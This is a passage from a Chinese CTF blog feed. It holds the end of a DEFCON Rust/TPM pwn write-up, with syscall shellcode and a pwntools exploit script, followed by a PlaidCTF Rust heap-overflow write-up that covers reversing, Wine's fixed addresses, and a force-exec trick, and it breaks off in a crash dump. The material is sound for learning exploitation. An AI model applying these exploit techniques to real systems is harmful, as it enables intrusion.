class="built_in">my_write</span>(fd, &amp;modify_object, <span class="built_in">sizeof</span>(SfmModifyObject));</span><br><span class="line"></span><br><span class="line">    <span class="comment">// client_fd.send(cmd)</span></span><br><span class="line">    <span class="comment">// print(client_fd.recv(4))</span></span><br><span class="line">    status = <span class="built_in">my_read</span>(fd, &amp;status, <span class="number">4</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// # SfmCertifyObject</span></span><br><span class="line">    SfmCertifyObject certify_object = &#123;<span class="number">0</span>&#125;;</span><br><span class="line">    <span class="built_in">my_memset</span>(&amp;certify_object, <span class="number">0</span>, <span class="built_in">sizeof</span>(SfmCertifyObject));</span><br><span class="line">    certify_object.cmd.command_code = <span class="number">6</span>;</span><br><span class="line">    certify_object.object_index = <span class="number">0</span>;</span><br><span class="line">    <span class="comment">// client_fd.send(cmd)</span></span><br><span class="line">    <span class="built_in">my_write</span>(fd, &amp;certify_object, <span class="built_in">sizeof</span>(certify_object));  </span><br><span class="line"></span><br><span class="line">    <span class="keyword">while</span>(<span class="number">1</span>)&#123;&#125;;</span><br><span class="line">    <span class="comment">// p.interactive()</span></span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">void</span> <span class="title">my_write</span><span class="params">(<span class="type">int</span> fd, <span class="type">void</span>* message, <span class="type">int</span> length)</span> </span>&#123;</span><br><span class="line">    <span class="comment">// ssize_t ret;</span></span><br><span class="line">    <span class="built_in">asm</span>(<span class="string">&quot;syscall&quot;</span></span><br><span class="line">        : <span class="comment">// &quot;=a&quot; (ret)</span></span><br><span class="line">        : <span class="string">&quot;a&quot;</span>(__NR_write), <span class="string">&quot;D&quot;</span>(fd), <span class="string">&quot;S&quot;</span>(message), <span class="string">&quot;d&quot;</span>(length)</span><br><span class="line">        : <span class="string">&quot;memory&quot;</span>, <span class="string">&quot;cc&quot;</span>, <span class="string">&quot;r11&quot;</span>, <span class="string">&quot;cx&quot;</span></span><br><span class="line">    );</span><br><span class="line">    <span class="comment">// return ret;</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">ssize_t</span> <span class="title">my_read</span><span class="params">(<span class="type">int</span> fd, <span class="type">void</span>* buffer, <span class="type">size_t</span> count)</span> </span>&#123;</span><br><span class="line">    <span class="type">ssize_t</span> result;</span><br><span class="line">    <span class="built_in">asm</span>(<span class="string">&quot;syscall&quot;</span></span><br><span class="line">        : <span class="string">&quot;=a&quot;</span>(result)</span><br><span class="line">        : <span class="string">&quot;a&quot;</span>(__NR_read), <span class="string">&quot;D&quot;</span>(fd), <span class="string">&quot;S&quot;</span>(buffer), <span class="string">&quot;d&quot;</span>(count)</span><br><span class="line">        : <span class="string">&quot;rcx&quot;</span>, <span class="string">&quot;r11&quot;</span>, <span class="string">&quot;memory&quot;</span></span><br><span class="line">    );</span><br><span class="line">    <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&quot;firmware.c&quot;</span></span></span><br></pre></td></tr></table></figure><p>最后，我们将程序封装好，然后完成最后的exp编写</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">import</span> binascii</span><br><span class="line"></span><br><span class="line">fd = <span class="built_in">open</span>(<span class="string">&quot;firm.bin&quot;</span>,<span class="string">&#x27;rb&#x27;</span>)</span><br><span class="line">content = fd.read()</span><br><span class="line">content = content.ljust(<span class="number">0x2000</span>,<span class="string">b&#x27;\x00&#x27;</span>)</span><br><span class="line">fd.close()</span><br><span class="line"></span><br><span class="line">p = remote(<span class="string">&quot;127.0.0.1&quot;</span>,<span class="number">4444</span>)</span><br><span class="line">p.recvuntil(<span class="string">&quot;&gt; &quot;</span>)</span><br><span class="line">p.sendline(<span class="string">&quot;upload&quot;</span>)</span><br><span class="line"></span><br><span class="line">image = binascii.hexlify(content)</span><br><span class="line"><span class="built_in">print</span>(<span class="built_in">hex</span>(<span class="built_in">len</span>(image)))</span><br><span class="line">p.sendline(image)</span><br><span class="line"></span><br><span class="line">p.recvuntil(<span class="string">&quot;&gt; &quot;</span>)</span><br><span class="line">p.sendline(<span class="string">&quot;run&quot;</span>)</span><br><span class="line"></span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure><h2 id="踩坑与总结">踩坑与总结</h2><h3 id="踩坑部分">踩坑部分</h3><p>这次的坑踩得实在是太多了，决定在这里记一下，看看经历的磨难。。</p><ul><li>程序由于使用了<code>LayoutVerified</code>这个结构体，导致只要结构体不符合要求（不按照结构体对齐-&gt;<code>new_from_prefix</code> or 大小与结构体不同-&gt;<code>read_from</code>）的时候，就会直接发生错误。所以一开始写PoC的时候，花了很多时间去调试。。。</li><li>EXP编写的时候，一开始想用<code>owner_name</code>这个变量，但是后来注意到，如果地址也写进去了的话，也会产生utf-8的问题，导致地址被加入<code>fffd</code>，所以要避免使用这个地址。。</li><li>因为拷贝的时候使用的<code>strcpy</code>，所以存在0截断的问题，有些存在0的地方（例如存放地址）就会导致后续的写入内容无法写入，这时就要充分的利用每一个结构体成员（比如serial number）<br>（调试踩坑）</li><li>调试shellcode的时候，一开始想不到怎么调试，直接用pwntools的脚本编写。然而一开始我们sfm的那种调试方案不可行了，因为我们自己写的launcher的firmware可能有问题，根本来不及attach。</li><li>接上，其次是，由于我们的shellcode程序是从<code>_start</code>开始的，如果用<code>gdb.attach</code>会来不及在需要断下的地方停下来（因为shellcode已经被执行了），而如果使用<code>gdb.run</code>指令来，则会因为pwntools的gdb无法继承句柄，导致句柄没有被传递过去，无法调试</li><li>实际调试的时候，由于要启动两个进程，一开始用了pwntools来启动，结果发现一是没办法定位错误，二是没办法让程序运行（好像会卡住的样子）</li><li>后来在想到创建<code>socket</code>之前，用<code>mkfifo</code>创建命名管道，也能模拟socket通信的效果，但是Rust代码指明了用socket，当使用fifo的时候会直接报错</li><li>没办法从commandline打开这个socket文件，所以使用代码创建<code>socket</code>的话，需要在利用代码完成环境变量的设置，最后创建一个新的shell<br>（shellcode编写）</li><li>编写shellcode的时候，由于一开始有些系统调用编写的时候未注意到，<code>syscall</code>指令会改变寄存器的值（例如r11），加上汇编高度优化，导致程序的执行逻辑可能会出现意想不到的现象</li><li>注意launcher进程，他的传入的fd一定不能是3，不然会被提前关掉。可以检查<code>/proc/launcher_pid/fd</code>确认当前进程打开的句柄是哪个</li><li>生成shellcode的时候，很多时候read or write系统调用会被优化掉，需要加上<code>volatile</code>关键字来保护</li></ul><h3 id="总结部分">总结部分</h3><ul><li>这次在比赛中基本上完全没有跟上思路，大部分内容都是比赛结束之后才能看懂，真的很佩服能在限定时间内做出来的人</li><li>这几次Rust比赛下来，似乎已经有了初步的阅读Rust代码的能力了，之后可以尝试做点开发工作进一步深化学习</li><li>这次的pwn题环境非常复杂， 中途企图只用bash模拟，完全失败。只能用代码配合着创建一个合理的运行环境</li><li>由于题目需要手写二进制，其实已经有好多次想要放弃，因为踩得坑实在是太多了，不只是写，还要编译，对抗优化，调试环境配置，几乎每一个问题我都花了一整天才能解决。。。</li><li>从结果来看，搭建一个环境非常的重要，否则盲猜几乎无法解决问题。。。</li></ul>]]></content>
    
    
    <summary type="html">&lt;p&gt;之前跟着战队尝试做了一个defcon的题目，又是一个rust pwn，而且非常有意思，这边记录一下整个做题过程&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;本文首发于奇安信攻防社区 &lt;a href=&quot;https://forum.butian.net/share/2328&quot;&gt;https://forum.butian.net/share/2328&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;</summary>
    
    
    
    <category term="Pwn" scheme="https://showlinkroom.me/categories/Pwn/"/>
    
    
    <category term="CTF" scheme="https://showlinkroom.me/tags/CTF/"/>
    
    <category term="Rust" scheme="https://showlinkroom.me/tags/Rust/"/>
    
    <category term="TPM" scheme="https://showlinkroom.me/tags/TPM/"/>
    
  </entry>
  
  <entry>
    <title>PlaidCTF-baby-heap-question-mark</title>
    <link href="https://showlinkroom.me/2023/04/21/PlaidCTF-baby-heap-question-mark/"/>
    <id>https://showlinkroom.me/2023/04/21/PlaidCTF-baby-heap-question-mark/</id>
    <published>2023-04-21T14:32:04.000Z</published>
    <updated>2023-04-21T15:05:20.283Z</updated>
    
    <content type="html"><![CDATA[<p>真的好久好久都没写过博客了，感觉还是得是不是用博客这个形式来记录一些重要的信息</p><span id="more"></span><h1 id="baby-heap-question-mark">baby-heap-question-mark</h1><p>这个题目虽然是一个Rust Pwn，但是感觉本质上和另一个Rust Pwn差的还是很远的。(如果我能把另一个做出来的话，就也更新上来)</p><h2 id="程序逆向">程序逆向</h2><p>其实Rust的逆向一半的内容得靠猜，因为存在<strong>变量复用</strong>的现象，下文会提到这点。<br>首先运行exe，可以看到是一个很经典的堆题:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">Storage: []</span><br><span class="line">1. allocate</span><br><span class="line">2. drop</span><br><span class="line">3. read</span><br><span class="line">4. write</span><br><span class="line">5. quit</span><br><span class="line">choice?</span><br></pre></td></tr></table></figure><p>每当我们多申请一个堆的时候，Storage这里的显示就会发生变化:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">Storage: [*]</span><br><span class="line">1. allocate</span><br><span class="line">2. drop</span><br><span class="line">3. read</span><br><span class="line">4. write</span><br><span class="line">5. quit</span><br><span class="line">choice?</span><br></pre></td></tr></table></figure><p>不难想象，这里应该有一个内部的数据结构用于存储分配的内存。<br>当我们释放一个内存对象的时候，它会变成这样:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">Storage: [.]</span><br><span class="line">1. allocate</span><br><span class="line">2. drop</span><br><span class="line">3. read</span><br><span class="line">4. write</span><br><span class="line">5. quit</span><br><span class="line">choice?</span><br></pre></td></tr></table></figure><p>其他的操作就和普通的堆题差不多了。<br>了解运行逻辑之后，直接进行逆向。代码里面有多个类似vec的结构体，大概长这样</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">struct</span> <span class="title class_">my_raw_vec</span></span><br><span class="line">&#123;</span><br><span class="line">  int64 target_size;</span><br><span class="line">  <span class="type">char</span> *ptr_buffer;</span><br><span class="line">  int64 buf_cnt;</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>在<code>allocate</code>这个操作中，分配内存操作如下:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"> <span class="keyword">do</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">if</span> ( total_raw_vec.capacity == now_total_size )<span class="comment">// add middle</span></span><br><span class="line">    &#123;</span><br><span class="line">        <span class="keyword">if</span> ( read_size_ )</span><br><span class="line">        &#123;</span><br><span class="line">        new_element = <span class="built_in">malloc_new_elemn</span>((__int64)read_size_, <span class="number">1</span>i64);</span><br><span class="line">        <span class="keyword">if</span> ( !new_element )</span><br><span class="line">            <span class="built_in">raise_msg</span>();</span><br><span class="line">        capacity_1 = total_raw_vec.capacity;</span><br><span class="line">        <span class="keyword">if</span> ( total_raw_vec.capacity != total_raw_vec.buffer_end )</span><br><span class="line">            <span class="keyword">goto</span> LABEL_52;</span><br><span class="line">LABEL_51:</span><br><span class="line">        <span class="built_in">extend_mem</span>(&amp;total_raw_vec, capacity_1);</span><br><span class="line">        capacity_1 = total_raw_vec.capacity;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">else</span></span><br><span class="line">        &#123;</span><br><span class="line">        new_element = <span class="number">1</span>i64;</span><br><span class="line">        <span class="keyword">if</span> ( total_raw_vec.capacity == total_raw_vec.buffer_end )</span><br><span class="line">            <span class="keyword">goto</span> LABEL_51;</span><br><span class="line">        &#125;</span><br><span class="line">LABEL_52:</span><br><span class="line">        raw_vec_1 = total_raw_vec.ptr_buffer;</span><br><span class="line">        capacity_idx = capacity_1;</span><br><span class="line">        total_raw_vec.ptr_buffer[capacity_idx].target_size = (__int64)read_size_;</span><br><span class="line">        raw_vec_1[capacity_idx].ptr_buffer = (<span class="type">char</span> *)new_element;</span><br><span class="line">        raw_vec_1[capacity_idx].buf_cnt = read_size_;</span><br><span class="line">        ++total_raw_vec.capacity;</span><br><span class="line">        <span class="keyword">goto</span> LABEL_2;</span><br><span class="line">    &#125;</span><br><span class="line">    now_total_size_ = now_total_size * <span class="number">24</span> + <span class="number">24</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">while</span> ( total_raw_vec.ptr_buffer[now_total_size++].ptr_buffer != <span class="number">0</span>i64 );</span><br></pre></td></tr></table></figure><p>其实它的allocate有两种模式，这边我们挑一种来讲（漏洞会涉及）。这里会提到一个大小为24字节的结构体就是前文讲的<code>struct my_raw_vec</code>。<br>首先最外围的大循环的逻辑，加上<code> total_raw_vec.capacity == now_total_size</code>逻辑，结合起来其实就是检查这个<code>total_raw_vec</code>，其中是否存在一个空的指针。如果不存在的话（也就是我们只有allocate操作，没有drop过），此时会<strong>先申请一个用于存放我们数据的堆块element，再扩张vector</strong>。并且之后将这个新的<code>element</code>存放在新扩展出来的出来的<code>total_raw_vec</code>中。<br>如果我们大致用伪代码描述以下，大概是如下的逻辑:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 先申请一个element</span></span><br><span class="line">Elem* e = <span class="keyword">new</span> <span class="built_in">Element</span>();</span><br><span class="line"><span class="comment">// 然后扩展vector</span></span><br><span class="line">vector.<span class="built_in">extend</span>(<span class="number">1</span>);</span><br><span class="line"><span class="comment">// 最后存入vector</span></span><br><span class="line">vector[new_idx] = e;</span><br></pre></td></tr></table></figure><h3 id="漏洞点">漏洞点</h3><p>这个程序其实最大的问题在于逆向，当逆向完成了一个操作之后，其他的逻辑基本上也就完成了。这里我们直接介绍漏洞操作，也就是<code>write</code>：</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">write_read</span>(&amp;read_data, (__int64)<span class="string">&quot;data? size? \n&quot;</span>, <span class="number">6</span>i64);<span class="comment">// hear is &quot;data? &quot; so it read data from console</span></span><br><span class="line">buffer = read_data.ptr_buffer;</span><br><span class="line">now_ptr_1 = <span class="built_in">check_utf8_valid</span>(read_data.ptr_buffer, read_data.buf_cnt);</span><br><span class="line"><span class="keyword">if</span> ( (v19 &amp; <span class="number">1</span>) != <span class="number">0</span> )</span><br><span class="line">&#123;</span><br><span class="line">v46 = <span class="number">1</span>i64;</span><br><span class="line"><span class="keyword">goto</span> LABEL_68;</span><br><span class="line">&#125;</span><br><span class="line">my_data_num.flag = <span class="number">3</span>;</span><br><span class="line">IOStruct.my_vec.elem_idx = <span class="number">0</span>i64;</span><br><span class="line">IOStruct.my_vec.now_ptr = (__int64)now_ptr_1;</span><br><span class="line">IOStruct.my_vec.capacity_ = v19;</span><br><span class="line">IOStruct.my_vec.now_size = <span class="number">2</span>i64;</span><br><span class="line">IOStruct.my_data_num = &amp;my_data_num;</span><br><span class="line"><span class="built_in">get_input_data</span>((my_raw_vec *)(&amp;v47 + <span class="number">14</span>), &amp;IOStruct);<span class="comment">// get input data from IOStruct into dst</span></span><br></pre></td></tr></table></figure><p>Rust编译的时候，有时候会将一些可见字符拼接再一起。如上，他这边的翻译极具误导性，会给人一种<code>write</code>操作会读入数据，并且需要我们指定大小的错觉。然而实际上，这个题的<code>write</code>只需要我们输入数据。并且这个题目输入的数据是<strong>需要被反序列化的</strong>。举个例子，当我们输入:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">0101</span><br></pre></td></tr></table></figure><p>此时写入到我们指定内存的其实是<code>\x01\x01</code>，而不是字符串。因此此时输入的长度<strong>一定要是偶数</strong>。<br>回到逻辑，上述代码主要就是将我们输入的数据读入一个叫做<code>read_data</code>的临时变量，并且通过调用<code>check_utf8_valid</code>确认其是否合法，同时返回了一个指向有效字符串起始地址的指针。并且在最后使用<code>get_input_data</code>将我们的输入读入了一个地址。这个地址的变量我们之后命名为<code>dst</code></p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">target_size = dst.target_size;</span><br><span class="line">ptr_buffer_1 = dst.ptr_buffer;</span><br><span class="line">cnt = dst.buf_cnt;</span><br><span class="line"><span class="keyword">if</span> ( read_data.target_size )          <span class="comment">// here is reading size</span></span><br><span class="line">    <span class="built_in">j_free_last_ptr</span>(buffer, read_data.target_size, read_data.target_size &gt;= <span class="number">0</span>);<span class="comment">// free reading buffer</span></span><br><span class="line">v50 = <span class="built_in">HIDWORD</span>(target_size);</span><br><span class="line"><span class="keyword">if</span> ( idx &lt; total_raw_vec.capacity )</span><br><span class="line">&#123;</span><br><span class="line">    target_buffer = total_raw_vec.ptr_buffer[idx].ptr_buffer;</span><br><span class="line">    <span class="keyword">if</span> ( target_buffer )</span><br><span class="line">        <span class="built_in">memcpy</span>(target_buffer, ptr_buffer_1, cnt);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span> ( target_size )</span><br><span class="line">    <span class="built_in">j_free_last_ptr</span>(ptr_buffer_1, target_size, target_size &gt;= <span class="number">0</span>);</span><br><span class="line"><span class="keyword">break</span>;</span><br></pre></td></tr></table></figure><p>接下来的漏洞利用部分就很简单了，首先我们可以看到，这个地方调用了<code>memcpy</code>，而这边的<code>cnt</code>来自于<code>dst</code>，<code>dst</code>本质上也是一个向量，而且其就是前文提到的用来存放读入数据的一个变量。也就是说，上述逻辑翻译一下就是：将输入的字符串全部拷贝到目标内存。那这就有了一个妥妥的堆溢出了。</p><h2 id="利用">利用</h2><h3 id="wine的一些基础知识">WINE的一些基础知识</h3><p>这个点也是队友给我科普的，首先WINE全程可以是<code>Wine Is Not an Emulator</code>（乐），本质上是让exe能够在Unix操作系统上运行的一个环境。注意，它<strong>不是虚拟机</strong>，所以并不具备虚拟机的一些基本特性。</p><h4 id="不变的基地址">不变的基地址</h4><p>除了<code>msvcrt.dll</code>之外，所有的模块，包括堆和栈，都没有开ASLR。所以一旦确认了远程地址的这些偏移，可以直接用起来。（注意，包括exe在ida里面显示的地址，都是不变的）</p><h4 id="模拟的pe头">模拟的PE头</h4><p>如果存在一些检测PE头的逻辑，是可以通过的。虽然这些dll之类的本质是<code>.so</code>，但是构建的时候，会预先额外构建一个PE头。</p><h4 id="调试">调试</h4><p>理论上也是可以直接调试的。运行指令为<code> wine simple_server_target.exe</code>，然后再用<code>gdb attach</code>到对应的进程即可。</p><h4 id="奔溃现场">奔溃现场</h4><p>WINE程序有一个特别之处就是，如果我们让程序奔溃了，它会打印当前的上下文出来。例如</p><h4 id="一些技巧">一些技巧</h4><p>有一个叫做<code>VIRTUAL_SetForceExec</code>的存在<code>ntdll.dll.so</code>的函数，可以让所有可写的映射变成可执行！这样会让利用更加简单。<br>可以通过调用<code>NtSetInformationProcess</code>函数来控制，也可以从这个函数处找到这个<code>SetForceExec</code>的地址</p><p>根据上面的小tips，我们可以得知对于本题的一个重要的提示：除了<code>msvcrt.dll.so</code>，所有的<strong>地址都是固定的</strong>。换句话说，假设我们能够拥有一个内存越界读，只要能泄露一次地址，之后的地址就可以反复的使用它。然后，WINE这个程序还有一个特征，当这个程序奔溃的时候，会打印这个程序的上下文！这样很多的地址其实在dump的时候就能够确定了。</p><p>回到这个题目，目前为止内存格式如下:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">+---------------+&lt;-----------------+</span><br><span class="line">|               |                  |</span><br><span class="line">|  Data         |                  |</span><br><span class="line">|               |                  |</span><br><span class="line">|               |                  |</span><br><span class="line">|               |                  |</span><br><span class="line">|               |                  |</span><br><span class="line">|               |                  |</span><br><span class="line">+---------------+                  |</span><br><span class="line">                                   |</span><br><span class="line">                                   |</span><br><span class="line">+---------------+                  |</span><br><span class="line">|               |                  |</span><br><span class="line">+---------------+                  |</span><br><span class="line">| Target_buffer +------------------+</span><br><span class="line">+---------------+</span><br><span class="line">|               |</span><br><span class="line">+---------------+</span><br></pre></td></tr></table></figure><p>那么此时我们就可以通过将<code>target_ptr</code>覆盖成无效地址，并且<strong>再次访问这段内存对应的data</strong>，从而诱发crash</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">+---------------+</span><br><span class="line">|               |                  </span><br><span class="line">|  Data         |                  </span><br><span class="line">|               |                  </span><br><span class="line">|               |                 </span><br><span class="line">|               |                  </span><br><span class="line">|               |                 </span><br><span class="line">|               |                  </span><br><span class="line">|               |                  </span><br><span class="line">|               |                  </span><br><span class="line">|               |                  </span><br><span class="line">+---------------+                  </span><br><span class="line">|               |                  </span><br><span class="line">+---------------+                  </span><br><span class="line">|ffffffffffffff +------------------++++++++++++</span><br><span class="line">+---------------+</span><br><span class="line">|               |</span><br><span class="line">+---------------+</span><br></pre></td></tr></table></figure><p>通过简单的内存布局后，这边是我们修改内存地址之后尝试访问触发的crash:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br></pre></td><td class="code"><pre><span class="line">Unhandled exception: page fault on write access to 0xffffffffffffffff in 64-bit code (0x00000003af6cfcd9</span><br><span class="line">).</span><br><span class="line">Register dump:</span><br><span class="line"> rip:00000003af6cfcd9 rsp:000000000021fa98 rbp:000000000021fb60 eflags:00010a07 (  R- --O I   - -P-C)                                                                                                             rax:0000000000015790 rbx:0000000000000000 rcx:ffffffffffffffff rdx:00000000000158a0                                                                                                                              rsi:00000000000158a0 rdi:ffffffffffffffff  r8:0000000000000040  r9:7fffffffffffffff r10:000000000012000</span><br><span class="line">0</span><br><span class="line"> r11:0000000000015898 r12:000000000021fb90 r13:00000001400214c5 r14:0000000000000040 r15:000000000021fb5</span><br><span class="line">0</span><br><span class="line">Stack dump:</span><br><span class="line">0x000000000021fa98:  0000000000000040 0000000000015800</span><br><span class="line">0x000000000021faa8:  00000003af6d5749 000000000021fb90</span><br><span class="line">0x000000000021fab8:  00000001400214c5 0000000140001eb8</span><br><span class="line">0x000000000021fac8:  000000000021fb50 000000000021fb60</span><br><span class="line">0x000000000021fad8:  000000014000190d 0000000000014e70</span><br><span class="line">0x000000000021fae8:  0000000000014430 0000000000000004</span><br><span class="line">0x000000000021faf8:  0000000140004e4a 00000000000152b8</span><br><span class="line">0x000000000021fb08:  000000007bc2aa8d 0000000000000003</span><br><span class="line">0x000000000021fb18:  0000000000000018 0000000000015760</span><br><span class="line">0x000000000021fb28:  0000000000000000 0000000000000082</span><br><span class="line">0x000000000021fb38:  0000000000015800 0000000000000082</span><br><span class="line">0x000000000021fb48:  00000000000158a0 0000000000000040</span><br><span class="line">Backtrace:</span><br><span class="line">=&gt;0 0x00000003af6cfcd9 EntryPoint+0x2fffe3739() in ucrtbase (0x000000000021fb60)</span><br><span class="line">0x00000003af6cfcd9 EntryPoint+0x2fffe3739 in ucrtbase: movsb    (%rsi),%es:(%rdi)</span><br><span class="line">Modules:</span><br><span class="line">Module  Address                                 Debug info      Name (20 modules)</span><br><span class="line">PE              7b000000-        7b3fd000       Deferred        kernelbase</span><br><span class="line">PE              7b600000-        7b969000       Deferred        kernel32</span><br><span class="line">PE              7bc00000-        7bf3c000       Deferred        ntdll</span><br><span class="line">ELF             7d000000-        7d005000       Deferred        &lt;wine-loader&gt;</span><br><span class="line">PE             140000000-       14002f000       Deferred        baby-heap-question-mark</span><br><span class="line">PE             262250000-       262260000       Deferred        api-ms-win-crt-runtime-l1-1-0</span><br><span class="line">PE             26ed50000-       26ed69000       Deferred        vcruntime140</span><br><span class="line">PE             30a2c0000-       30a2d0000       Deferred        api-ms-win-crt-stdio-l1-1-0</span><br><span class="line">PE             355100000-       35510f000       Deferred        api-ms-win-crt-locale-l1-1-0</span><br><span class="line">PE             360a80000-       360a91000       Deferred        api-ms-win-crt-math-l1-1-0</span><br><span class="line">PE             39b510000-       39b51f000       Deferred        api-ms-win-crt-heap-l1-1-0</span><br><span class="line">PE             3af670000-       3af9dd000       Dwarf           ucrtbase</span><br><span class="line">ELF         7f00eb2ec000-    7f00eb30a000       Deferred        ucrtbase.so</span><br><span class="line">ELF         7f00eb60a000-    7f00eb780000       Dwarf           libwine.so.1</span><br><span class="line">ELF         7f00eb980000-    7f00eb9ab000       Deferred        liblzma.so.5</span><br><span class="line">ELF         7f00eb9ab000-    7f00eba92000       Deferred        libm.so.6</span><br><span class="line">ELF         7f00eba92000-    7f00ebaad000       Deferred        libunwind.so.8</span><br><span class="line">ELF         7f00ebaad000-    7f00ebb49000       Deferred        